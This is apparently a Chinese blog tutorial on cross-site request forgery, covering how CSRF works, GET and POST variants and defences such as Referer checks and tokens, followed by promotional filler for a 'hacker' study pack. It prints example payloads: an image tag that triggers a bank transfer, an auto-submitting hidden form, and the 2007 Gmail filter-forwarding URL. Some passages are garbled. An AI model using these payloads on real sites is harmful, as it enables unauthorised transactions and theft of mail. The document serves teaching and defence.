什么是CSRF？CSRF漏洞原理攻击与防御（非常详细）零基础入门到精通，收藏这一篇就够了

文章目录

• 前言
• • 一、什么是CSRF?
  • 二、CSRF攻击过程
  • 三、CSRF分类
  • 四、CSRF防护方法
• ==如何入门学习网络安全【黑客】==
• • • 【----帮助网安学习，以下所有学习资料文末免费领取！----】
  • 大纲
  • 学习教程
  • 面试刷题
• 资料领取

前言

一、什么是CSRF?

CSRF (Cross-site request forgery，跨站请求伪造)也被称为One Click Attack或者Session Riding，通常缩写为CSRF或者XSRF，是一种对网站的恶意利用。尽管听起来像跨站脚本(XSS)，但它与XSS非常不同，XSS利用站点内的信任用户，而CSRF则通过伪装成受信任用户请求受信任的网站。

简单的说，是攻击者通过一些技术手段欺骗用户的浏览器去访问一个自己以前认证过的站点并运行一些操作（如发邮件，发消息，甚至财产操作（如转账和购买商品））。因为浏览器之前认证过，所以被访问的站点会觉得这是真正的用户操作而去运行。

二、CSRF攻击过程

如上图：其中Web A为存在CSRF漏洞的网站，Web B为攻击者构建的恶意网站，User C为Web A网站的合法用户。CSRF攻击原理及过程如下：

1. 用户C打开浏览器，访问受信任网站A，输入用户名和密码请求登录网站A；

2. 在用户信息通过验证后，网站A产生Cookie信息并返回给浏览器，此时用户登录网站A成功，可以正常发送请求到网站A；

3. 用户未退出网站A之前，在同一浏览器中，打开一个TAB页访问网站B；

4. 网站B接收到用户请求后，返回一些攻击性代码，并发出一个请求要求访问第三方站点A；

5. 浏览器在接收到这些攻击性代码后，根据网站B的请求，在用户不知情的情况下携带Cookie信息，向网站A发出请求。网站A并不知道该请求其实是由B发起的，所以会根据用户C的Cookie信息以C的权限处理该请求，导致来自网站B的恶意代码被执行。

三、CSRF分类

CSRF(Cross-Site Request Forgery)，跟XSS漏洞攻击一样，存在巨大的危害性。

你可以这么来理解:攻击者盗用了你的身份，以你的名义发送恶意请求，对服务器来说这个请求是完全合法的，但是却完成了攻击者所期望的一个操作，比如以你的名义发送邮件、发消息，盗取你的账号，添加系统管理员，甚至于购买商品、虚拟货币转账等

1. GET类型的CSRF

1.GET类型的CSRF

仅仅须要一个HTTP请求。就能够构造一次简单的CSRF。

样例：

银行站点A：它以GET请求来完毕银行转账的操作，如：

http://www.mybank.com/Transfer.php?toBankId=11&money=1000

危险站点B：它里面有一段HTML的代码例如以下：

<img src=http://www.mybank.com/Transfer.php?toBankId=11&money=1000>

首先。你登录了银行站点A，然后访问危险站点B，噢，这时你会发现你的银行账户少了1000块。

为什么会这样呢？原因是银行站点A违反了HTTP规范，使用GET请求更新资源。

在访问危险站点B的之前。你已经登录了银行站点A，而B中的 一个合法的请求，但这里被不法分子利用了）。

所以你的浏览器会带上你的银行站点A的Cookie发出Get请求，去获取资源以GET的方式请求第三方资源（这里的第三方就是指银行站点了），

原本这是：

http://www.mybank.com/Transfer.php?toBankId=11&money=1000

结果银行站点服务器收到请求后，觉得这是一个更新资源操作（转账操作），所以就立马进行转账操作。

2. POST类型的CSRF

在CSRF攻击流行之初，曾经有一种错误的观点，认为CSRF攻击只能由GET请求发起。因此很多开发者都认为只要把重要的操作改成只允许POST请求，就能防止CSRF攻击。

这样的错误观点形成的原因主要在于，大多数CSRF攻击发起时，使用的HTML标签都是、、

而对于很多网站的应用来说，一些重要操作并未严格地区分GET与POST，攻击者可以使用GET来请求表单的提交地址。比如在PHP中，如果使用的是 _ R E Q U E S T ，而非 \_REQUEST，而非 _REQUEST，而非_POST获取变量，则会存在这个问题。

对于一个表单来说，用户往往也就可以使用GET方式提交参数。比如以下表单:

<form action=" / register" id="register" method="post" >``<input type=text name="username" value="" />``<input type=password name="password" value="" />``<input type=submit name="submit" value="submit" />``</form>

用户可尝试构造一个GET请求

http: //host/register?username=test&password=passwd

来提交，若服务器端未对请求方法进行限制，则这个请求会通过。

如果服务器端已经区分了GET与POST，那么攻击者有什么方法呢?对于攻击者来说，若干种方法可以构造出一个POST请求。

最简单的方法，就是在一个页面中构造好一个表单表单，然后使用JavaScript自动提交这个表单。比如，攻击者在www.b.com/test.html中编写如下代码：

<form action="http: / / www . a.com/register" id="register" method="post" ><input type=text name="username" value=""/>``<input type=password name="password" value=""/><input type=submit name="submit" value="submit"/></ form>``<script>``var f = document.getElementById ( "register");``f.inputs [0].value = "test";``f.inputs [1].value = "passwd" ;``f.submit ();``</script>

攻击者甚至可以将这个页面隐藏在一个不可见的iframe窗口中，那么整个自动提交表单的过程，对于用户来说也是不可见的。

在2007年的Gmail CSRF漏洞攻击过程中，安全研究者pdp展示了这一技巧。首先，用户需要登录Gmail账户，以便让浏览器获得Gmail的临时Cookie。

用户登录Gmail

然后，攻击者诱使用户访问一个恶意页面。

攻击者诱使用户访问恶意页面

在这个恶意页面中，隐藏了一个iframe，iframe的地址指向pdp写的CSRF构造页面。

http: //www.gnucitizen.org/util/csrf?_method=POST&_enctype=multipart/form-data&_action=https%3A//mail.google.com/mail/h/ewtljmuj4ddv/%3Fv%3Dprf&cf2_emc=true&cf2_email=evilinboxmailinator.com&cfl_from&cfl_toucf1_subjicf1_has&cfl_hasnotscf1_attach=truestfi&S=z&irf=on&nvp bu_cftb=Create%20Filter

这个链接的实际作用就是把参数生成一个POST的表单，并自动提交。

由于浏览器中已经存在Gmail的临时Cookie，所以用户在iframe中对Gmail发起的这次请求会成功―—邮箱的Filter中会新创建一条规则，将所有带附件的邮件都转发到攻击者的邮箱中。

恶意站点通过CSRF在用户的Gmail中建立一条规则。

四、CSRF防护方法

1、只使用JSON API

使用JavaScript发起AJAX请求是限制跨域的，并不能通过简单的 表单来发送JSON，所以，通过只接收JSON可以很大可能避免CSRF攻击。

2、验证HTTP Referer字段

根据 HTTP 协议，在 HTTP 头中有一个字段叫 Referer，它记录了该 HTTP 请求的来源地址。在通常情况下，访问一个安全受限页面的请求来自于同一个网站，比如上文中用户User想要在网站WebA中进行转账操作，那么用户User

必须先登录WabA

然后再通过点击页面上的按钮出发转账事件

这时该转帐请求的 Referer 值就会是转账按钮所在的页面的URL，而如果黑客要对银行网站实施 CSRF攻击，他只能在他自己的网站构造请求，当用户User通过黑客的网站发送请求到WebA时，该请求的 Referer 是指向黑客自己的网站。

因此，要防御 CSRF 攻击，网站WebA只需要对于每一个转账请求验证其 Referer 值，如果是以网站WebA的网址开头的域名，则说明该请求是来自WebA自己的请求，是合法的。如果 Referer 是其他网站的话，则有可能是黑客的 CSRF 攻击，拒绝该请求。

3、在请求地址中添加takon验证

CSRF 攻击之所以能够成功，是因为黑客可以完全伪造用户的请求，该请求中所有的用户验证信息都是存在于 cookie 中，因此黑客可以在不知道这些验证信息的情况下直接利用用户自己的 cookie 来通过安全验证。要抵御 CSRF，关键在于在请求中放入黑客所不能伪造的信息，并且该信息不存在于 cookie 之中。可以在 HTTP 请求中以参数的形式加入一个随机产生的 token，并在服务器端建立一个拦截器来验证这个 token，如果请求中没有 token 或者 token 内容不正确，则认为可能是 CSRF 攻击而拒绝该请求。

这种方法要比检查 Referer 要安全一些，token 可以在用户登陆后产生并放于 session 之中，然后在每次请求时把 token 从 session 中拿出，与请求中的 token 进行比对。

如何入门学习网络安全【黑客】

👇👇👇

网络安全学习资源分享:

给大家分享一份全套的网络安全学习资料，给那些想学习 网络安全的小伙伴们一点帮助！

因篇幅有限，仅展示部分资料，朋友们如果有需要全套《网络安全入门+进阶学习资源包》，需要点击下方链接即可前往获取，或微信扫描下方二维码领取~

**读者福利 |** 优快云大礼包：《网络安全入门&进阶学习资源包》免费分享 **（安全链接，放心点击）**

👉1.成长路线图&学习规划👈

要学习一门新的技术，作为新手一定要先学习成长路线图，方向不对，努力白费。

对于从来没有接触过网络安全的同学，我帮你准备了详细的学习成长路线图&学习规划。可以说是最科学最系统的学习路线，大家跟着这个大的方向学习准没问题。

👉2.网安入门到进阶视频教程👈

很多朋友都不喜欢晦涩的文字，我也为大家准备了视频教程，其中一共有21个章节，每个章节都是当前板块的精华浓缩。****（全套教程文末领取哈）

👉3.SRC&黑客文档👈

大家最喜欢也是最关心的SRC技术文籍&黑客技术也有收录

SRC技术文籍：

黑客资料由于是敏感资源，这里不能直接展示哦！****（全套教程文末领取哈）

👉4.护网行动资料👈

其中关于HW护网行动，也准备了对应的资料，这些内容可相当于比赛的金手指！

👉5.黑客必读书单👈

👉6.网络安全岗面试题合集👈

当你自学到这里，你就要开始思考找工作的事情了，而工作绕不开的就是真题和面试题。

所有资料共282G，朋友们如果有需要全套《网络安全入门+进阶学习资源包》，可以扫描下方二维码或点击链接免费领取~
**读者福利 |** 优快云大礼包：《网络安全入门&进阶学习资源包》免费分享 **（安全链接，放心点击）**

结语

网络安全产业就像一个江湖，各色人等聚集。相对于欧美国家基础扎实（懂加密、会防护、能挖洞、擅工程）的众多名门正派，我国的人才更多的属于旁门左道（很多白帽子可能会不服气），因此在未来的人才培养和建设上，需要调整结构，鼓励更多的人去做“正向”的、结合“业务”与“数据”、“自动化”的“体系、建设”，才能解人才之渴，真正的为社会全面互联网化提供安全保障。

特别声明：

此教程为纯技术分享！本书的目的决不是为那些怀有不良动机的人提供及技术支持！也不承担因为技术被滥用所产生的连带责任！本书的目的在于最大限度地唤醒大家对网络安全的重视，并采取相应的安全措施，从而减少由网络安全而带来的经济损失！！！